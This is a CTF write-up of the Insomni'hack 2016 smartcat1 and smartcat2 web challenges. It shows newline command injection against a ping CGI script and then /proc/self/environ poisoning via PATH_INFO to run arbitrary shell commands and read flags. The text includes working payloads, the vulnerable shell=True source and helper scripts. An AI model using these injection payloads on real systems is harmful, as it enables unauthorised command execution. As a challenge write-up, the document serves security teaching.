This weekend was the Insomni’hack 2016 Teaser CTF with a bunch of IoT-themed challenges. This is a writeup of the smartcat1 and smartcat2 Web challenges.
Many thanks to Insomni’hack for a fantastic CTF :)
smartcat1 and smartcat2 were some of the most often asked-about challenges in the channel, and like cats, were quite cute challenges.
As you began the contest, you can only see the smartcat1 challenge (spoiler: the challenge turns in to smartcat2 once you solve smartcat1).
smartcat1
The briefing for smartcat1 reads:
smartcat1 - Web - 50 pts - realized by grimmlin
Damn it, that stupid smart cat litter is broken again
Now only the debug interface is available here
(http://smartcat.insomnihack.ch/cgi-bin/index.cgi) and this stupid thing only
permits one ping to be sent!
I know my contract number is stored somewhere on that interface but I can't
find it and this is the only available page! Please have a look and get this
info for me !
FYI No need to bruteforce anything there. If you do you'll be banned permanently
Browsing to the challenge page, we are greeted with the Smart Cat debugging interface.
Submitting an expected value, such as 8.8.8.8
, seems to achieve a ping by the server.
% curl -X 'POST' --data-binary $'dest=8.8.8.8' \
'http://smartcat.insomnihack.ch/cgi-bin/index.cgi'
<html>
<head><title>Can I haz Smart Cat ???</title></head>
<body>
<h3> Smart Cat debugging interface </h3>
<form method="post" action="index.cgi">
<p>Ping destination: <input type="text" name="dest"/></p>
</form>
<p>Ping results:</p><br/>
<pre>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=0.867 ms
--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.867/0.867/0.867/0.000 ms
</pre>
<img src="../img/cat.jpg"/>
</body>
</html>
Let’s whip up a small python script for rapidly poking the app:
#!/usr/bin/env python
import requests
import sys
import re
if len(sys.argv) < 2:
print "Usage: {0} <ping-dest>".format(sys.argv[0])
exit(1)
# challenge url
url = "http://smartcat.insomnihack.ch/cgi-bin/index.cgi"
# grab the ping destination from command-line param
data = {
"dest": sys.argv[1]
}
# do the request
response = requests.post(url, data=data)
# carve out the interesting stuff using regex
# you shouldn't use regex for carving stuff out of html lest you tempt Zalgo
interesting = re.search(
"(<p>Ping results:</p>(.|\n)*</pre>)", response.text, re.MULTILINE)
if interesting:
print interesting.group(1)
else:
print "This shouldn't happen"
Example usage:
% ./catcall.py 8.8.8.8
<p>Ping results:</p><br/>
<pre>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=0.861 ms
--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.861/0.861/0.861/0.000 ms
</pre>
Trying the usual command-injection vectors such as ;id
, |id
, $(id)
and so on proved to be unsuccessful. Any input containing most shell metacharacters such as ;
or |
returned an error:
% ./catcall.py ';'
<p>Ping results:</p><br/>
<pre>Bad character ; in dest</pre>
% ./catcall.py '|'
<p>Ping results:</p><br/>
<pre>Bad character | in dest</pre>
Traditional command injection is out. After some fiddling, we discover that newline characters (which are URL-encoded as %0a
) are not banned, and allow us to inject commands! \o/
% ./catcall.py $'\nid'
<p>Ping results:</p><br/>
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>
However, we are forbidden from using space characters:
% ./catcall.py $'\nuname -a'
<p>Ping results:</p><br/>
<pre>Bad character in dest</pre>
As well as tab characters:
% ./catcall.py $'\nuname\t-a'
<p>Ping results:</p><br/>
<pre>Bad character in dest</pre>
We can use ls
to see what’s around (as the challenge briefing tells us a “contract number” is “stored somewhere on that interface”):
% ./catcall.py $'\nls'
<p>Ping results:</p><br/>
<pre>index.cgi
there
</pre>
However, a HTTP request of ’there’ shows it to be a directory:
% curl -i "http://smartcat.insomnihack.ch/cgi-bin/there"
HTTP/1.1 301 Moved Permanently
Date: Sun, 17 Jan 2016 12:46:48 GMT
Server: Apache/2.4.7 (Ubuntu)
Location: http://smartcat.insomnihack.ch/cgi-bin/there/
Content-Length: 341
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved
<a href="http://smartcat.insomnihack.ch/cgi-bin/there/">here</a>.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at smartcat.insomnihack.ch Port 80</address>
</body></html>
Since we can’t use whitespace in our command injection, we cannot ls there
to see inside of it.
What we can do is have a peek at index.cgi to see what we’re up against. Using <
to perform input redirection, we can cat
files (the use of cat
is hinted at by the title of the challenge) without using whitespace characters:
% ./catcall.py $'\ncat<index.cgi'
<p>Ping results:</p><br/>
<pre>#!/usr/bin/env python
import cgi, subprocess, os
headers = [
"mod_cassette_is_back/0.1",
"format-me-i-im-famous",
"dirbuster.will.not.help.you",
"solve_me_already"
]
print "X-Powered-By: %s" % headers[os.getpid()%4]
print "Content-type: text/html"
print
print """
<html>
<head><title>Can I haz Smart Cat ???</title></head>
<body>
<h3> Smart Cat debugging interface </h3>
"""
blacklist = " $;&|({`\t"
results = ""
form = cgi.FieldStorage()
dest = form.getvalue("dest", "127.0.0.1")
for badchar in blacklist:
if badchar in dest:
results = "Bad character %s in dest" % badchar
break
if "%n" in dest:
results = "Segmentation fault"
if not results:
try:
results = subprocess.check_output("ping -c 1 "+dest, shell=True)
except:
results = "Error running " + "ping -c 1 "+dest
print """
<form method="post" action="index.cgi">
<p>Ping destination: <input type="text" name="dest"/></p>
</form>
<p>Ping results:</p><br/>
<pre>%s</pre>
<img src="../img/cat.jpg"/>
</body>
</html>
""" % cgi.escape(results)
</pre>
From this, we see that the banned characters are space
, $
, ;
, &
, |
, (
, {
, `
and \t
. At least we know what we’re up against.
It turns out that find
, when executed without arguments, will show a recursive listing of files in the current directory (tree
would do the same but doesn’t appear to be available to us). Running find
we see:
% ./catcall.py $'\nfind'
<p>Ping results:</p><br/>
<pre>.
./index.cgi
./there
./there/is
./there/is/your
./there/is/your/flag
./there/is/your/flag/or
./there/is/your/flag/or/maybe
./there/is/your/flag/or/maybe/not
./there/is/your/flag/or/maybe/not/what
./there/is/your/flag/or/maybe/not/what/do
./there/is/your/flag/or/maybe/not/what/do/you
./there/is/your/flag/or/maybe/not/what/do/you/think
./there/is/your/flag/or/maybe/not/what/do/you/think/really
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag
</pre>
Apache isn’t happy serving up this file for some reason (it’s probably trying to run it, as it lives under cgi-bin
):
% curl -i "http://smartcat.insomnihack.ch/cgi-bin/there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag"
HTTP/1.1 500 Internal Server Error
Date: Sun, 17 Jan 2016 12:56:56 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 620
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator at
webmaster@localhost to inform them of the time this error occurred,
and the actions you performed just before this error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at smartcat.insomnihack.ch Port 80</address>
</body></html>
However, cat
comes to our rescue:
% ./catcall.py $'\ncat<there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag'
<p>Ping results:</p><br/>
<pre>INS{warm_kitty_smelly_kitty_flush_flush_flush}
</pre>
smartcat2
After submitting the flag for smartcat1, the challenge magically becomes smartcat2.
The new briefing reads:
smartcat2 - Web - 50 pts - realized by grimmlin
Almost there, but now you should be able to do better than a cat (sorry about
the pun)
I'm sure you can leverage the previous bug to get a shell
Go on that debug interface (http://smartcat.insomnihack.ch/cgi-bin/index.cgi)
again and read the flag in /home/smartcat/
Time to crack out the shell-fu!
We find that index.cgi, as it shells out, has access to /proc/self/environ
which contains some data we might be able to influence.
A bit of background info according to my (probably wrong) understanding of UNIX internals: /proc
is a pseudo filesystem that contains a bunch of stuff. Under /proc/
, among other things, there is a number (heh) of directories, named using the PID of each running process. For example, /proc/1
is a directory containing files related to the init
process, a process that is always started as PID 1. /proc/1/environ
is a file containing the state of init
’s environment variables.
In the usual handy UNIX fashion, there is a magic symlink at /proc/self
that always points to the /proc/<PID>
directory of the process that is tickling it. For example, if you do ls /proc/self/
then you’ll be looking at the contents of the /proc/<PID>
directory for the ls
process, and if you do cat /proc/self/environ
then you’ll be looking at the state of cat
’s environment.
Peeking at the /proc/self/environ
of the process of the shell that Python throws with subprocess.check_output()
we see:
% ./catcall.py $'\ncat</proc/self/environ'
<p>Ping results:</p><br/>
<pre>SCRIPT_URL=/cgi-bin/index.cgiSCRIPT_URI=http://smartcat.insomnihack.ch/cgi-bin/index.cgiHTTP_HOST=smartcat.insomnihack.chCONTENT_LENGTH=38HTTP_ACCEPT_ENCODING=gzip, deflateHTTP_ACCEPT=*/*HTTP_USER_AGENT=python-requests/2.9.1HTTP_CONNECTION=keep-aliveCONTENT_TYPE=application/x-www-form-urlencodedPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binSERVER_SIGNATURE=<address>Apache/2.4.7 (Ubuntu) Server at smartcat.insomnihack.ch Port 80</address>
SERVER_SOFTWARE=Apache/2.4.7 (Ubuntu)SERVER_NAME=smartcat.insomnihack.chSERVER_ADDR=172.31.41.128SERVER_PORT=80REMOTE_ADDR=122.104.150.109DOCUMENT_ROOT=/var/www/htmlREQUEST_SCHEME=httpCONTEXT_PREFIX=/cgi-bin/CONTEXT_DOCUMENT_ROOT=/var/www/cgi-bin/SERVER_ADMIN=webmaster@localhostSCRIPT_FILENAME=/var/www/cgi-bin/index.cgiREMOTE_PORT=53412GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=POSTQUERY_STRING=REQUEST_URI=/cgi-bin/index.cgiSCRIPT_NAME=/cgi-bin/index.cgi</pre>
Note that there’s a sneaky NULL byte delimiting each VARIABLE=value pair (look between “.cgi” and “SCRIPT_URI” and you’ll see it):
% ./catcall.py $'\ncat</proc/self/environ' | grep -a SCRIPT_URL | xxd | head -n3
00000000: 2020 3c70 7265 3e53 4352 4950 545f 5552 <pre>SCRIPT_UR
00000010: 4c3d 2f63 6769 2d62 696e 2f69 6e64 6578 L=/cgi-bin/index
00000020: 2e63 6769 0053 4352 4950 545f 5552 493d .cgi.SCRIPT_URI=
After some fiddling, we find that we can append /something
to the URL and we’ll still execute index.cgi
- but it’ll give us control of data in /proc/self/environ
before the first NULL byte (which might get in our way if we try to do useful things with the contents of /proc/self/environ
)
Let’s make some quick modifications to our script to allow us to specify this something
, and to make it verbose about what it’s doing:
#!/usr/bin/env python
import requests
import sys
import re
if len(sys.argv) < 3:
print "Usage: {0} <ping-dest> <url-something>".format(sys.argv[0])
print "* ping-dest will be submitted as the ping destination parameter"
print "* url-something (for lack of a better name) will be appended"
print " to the destination URL after a '/' char"
exit(1)
# challenge url with the url-something parameter appended after a '/'
url = "http://smartcat.insomnihack.ch/cgi-bin/index.cgi/{0}".format(sys.argv[2])
# grab the ping destination from command-line param
data = {
"dest": sys.argv[1]
}
# do the request
print "I'm about to request URL:"
print "---"
print url
print "---"
print
print "With a ping destination of:"
print "---"
print data["dest"]
print "---"
print
response = requests.post(url, data=data)
# carve out the interesting stuff using regex
# you shouldn't use regex for carving stuff out of html lest you tempt Zalgo
interesting = re.search(
"(<p>Ping results:</p>(.|\n)*</pre>)", response.text, re.MULTILINE)
if interesting:
print "Response:"
print "---"
print interesting.group(1)
print "---"
else:
print "This shouldn't happen"
Showing we have control of the contents of /proc/self/environ
:
% ./catcall2.py $'\ncat</proc/self/environ' 'Hello, world!'
I'm about to request URL:
---
http://smartcat.insomnihack.ch/cgi-bin/index.cgi/Hello, world!
---
With a ping destination of:
---
cat</proc/self/environ
---
Response:
---
<p>Ping results:</p><br/>
<pre>SCRIPT_URL=/cgi-bin/index.cgi/Hello, world!SCRIPT_URI=http://smartcat.insomnihack.ch/cgi-bin/index.cgi/Hello, world!HTTP_HOST=smartcat.insomnihack.chCONTENT_LENGTH=38HTTP_ACCEPT_ENCODING=gzip, deflateHTTP_ACCEPT=*/*HTTP_USER_AGENT=python-requests/2.9.1HTTP_CONNECTION=keep-aliveCONTENT_TYPE=application/x-www-form-urlencodedPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binSERVER_SIGNATURE=<address>Apache/2.4.7 (Ubuntu) Server at smartcat.insomnihack.ch Port 80</address>
SERVER_SOFTWARE=Apache/2.4.7 (Ubuntu)SERVER_NAME=smartcat.insomnihack.chSERVER_ADDR=172.31.41.128SERVER_PORT=80REMOTE_ADDR=122.104.150.109DOCUMENT_ROOT=/var/www/htmlREQUEST_SCHEME=httpCONTEXT_PREFIX=/cgi-bin/CONTEXT_DOCUMENT_ROOT=/var/www/cgi-bin/SERVER_ADMIN=webmaster@localhostSCRIPT_FILENAME=/var/www/cgi-bin/index.cgiREMOTE_PORT=53710GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=POSTQUERY_STRING=REQUEST_URI=/cgi-bin/index.cgi/Hello,%20world!SCRIPT_NAME=/cgi-bin/index.cgiPATH_INFO=/Hello, world!PATH_TRANSLATED=/var/www/html/Hello, world!</pre>
---
From here, we poison /proc/self/environ
with the value \nuname -a;exit;
and then feed /proc/self/environ
to sh
’s STDIN using input redirection:
% ./catcall2.py $'\nsh</proc/self/environ' $'\nuname -a;exit;'
I'm about to request URL:
---
http://smartcat.insomnihack.ch/cgi-bin/index.cgi/
uname -a;exit;
---
With a ping destination of:
---
sh</proc/self/environ
---
Response:
---
<p>Ping results:</p><br/>
<pre>Linux smartcat 3.13.0-74-generic #118-Ubuntu
SMP Thu Dec 17 22:52:10 UTC 2015 x86_64 x86_64
x86_64 GNU/Linux
</pre>
---
Ahh. It’s nice to be able to use whitespace in our command execution :)
From here, provided the challenge box didn’t have egress filtering, it’d be trivial to throw a reverse shell and go poking. Let’s see if we can make do with the command injection.
Having a peek at /home/smartcat/
we see:
% ./catcall2.py $'\nsh</proc/self/environ' $'\nls -la /home/smartcat/;exit;'
I'm about to request URL:
---
http://smartcat.insomnihack.ch/cgi-bin/index.cgi/
ls -la /home/smartcat/;exit;
---
With a ping destination of:
---
sh</proc/self/environ
---
Response:
---
<p>Ping results:</p><br/>
<pre>total 36
drwxr-xr-x 2 smartcat smartcat 4096 Jan 15 09:33 .
drwxr-xr-x 4 root root 4096 Jan 15 09:27 ..
-rw-r--r-- 1 smartcat smartcat 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 smartcat smartcat 3637 Apr 9 2014 .bashrc
-rw-r--r-- 1 smartcat smartcat 675 Apr 9 2014 .profile
-rw-r----- 1 root smartcat 337 Jan 15 09:34 flag2
-rwxr-sr-x 1 root smartcat 8951 Jan 15 09:32 readflag
</pre>
---
Being www-data
we don’t have privileges to read /home/smartcat/flag2
but we can execute /home/smartcat/readflag
. readflag
has a group of smartcat
and its SETGID bit is set, meaning when run it will run with the privileges of the group smartcat
. The group smartcat
has permission to read flag2
and so running it is probably the way forward.
% ./catcall2.py $'\nsh</proc/self/environ' $'\n/home/smartcat/readflag;exit;'
I'm about to request URL:
---
http://smartcat.insomnihack.ch/cgi-bin/index.cgi/
/home/smartcat/readflag;exit;
---
With a ping destination of:
---
sh</proc/self/environ
---
Response:
---
<p>Ping results:</p><br/>
<pre>Error running ping -c 1
sh</proc/self/environ</pre>
---
Hmm… Looking back at the python code of index.cgi
we see that “Error running” messages occur when the call to subprocess.check_output()
throws an exception.
try:
results = subprocess.check_output("ping -c 1 "+dest, shell=True)
except:
results = "Error running " + "ping -c 1 "+dest
It’s reasonable to assume that subprocess.check_output()
throws an exception when what it shells out to returns an error code. /home/smartcat/readflag
might be returning an error code to the shell that executes it. We can follow it with an execution of true
to ensure that subprocess.check_output()
doesn’t think its execution failed and deserves an exception.
% ./catcall2.py $'\nsh</proc/self/environ' $'\n/home/smartcat/readflag;true;exit;'
I'm about to request URL:
---
http://smartcat.insomnihack.ch/cgi-bin/index.cgi/
/home/smartcat/readflag;true;exit;
---
With a ping destination of:
---
sh</proc/self/environ
---
Response:
---
<p>Ping results:</p><br/>
<pre>Almost there... just trying to make sure you can execute arbitrary commands....
Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!'.
Do not include the quotes. Each part is a different line.
</pre>
---
Doing the needful, using echo
and sleep
:
% ./catcall2.py $'\nsh</proc/self/environ' $'\n(echo "Give me a..."; sleep 2; echo "... flag!")|/home/smartcat/readflag;true;exit;'
I'm about to request URL:
---
http://smartcat.insomnihack.ch/cgi-bin/index.cgi/
(echo "Give me a..."; sleep 2; echo "... flag!")|/home/smartcat/readflag;true;exit;
---
With a ping destination of:
---
sh</proc/self/environ
---
Response:
---
<p>Ping results:</p><br/>
<pre>Flag:
___
.-"; ! ;"-.
.'! : | : !`.
/\ ! : ! : ! /\
/\ | ! :|: ! | /\
( \ \ ; :!: ; / / )
( `. \ | !:|:! | / .' )
(`. \ \ \!:|:!/ / / .')
\ `.`.\ |!|! |/,'.' /
`._`.\\\!!!// .'_.'
`.`.\\|//.'.'
|`._`n'_.'| hjw
"----^----"
INS{shells_are _way_better_than_cats}
</pre>
---
We have our flag! Without even needing a “real” shell :)
Alternative solution to smartcat2
When it comes to shell-fu, there are many ways to skin a cat (I’m not even sorry). gehaxelt shared with me a great solution that he found with the help of @nobbd
I used here document a la cat<<EOF>/tmp/file%0APYTHONCODE%0AEOF to write
python print statements a la print'\x20...' into /tmp/file then ran the python
script to create my shell script and then simple executed the readflag
He told me he’s thinking of doing a writeup, and if he does I’m very much looking forward to reading it (and others) - and so should you. You can never have enough cute shell tricks up your sleeve.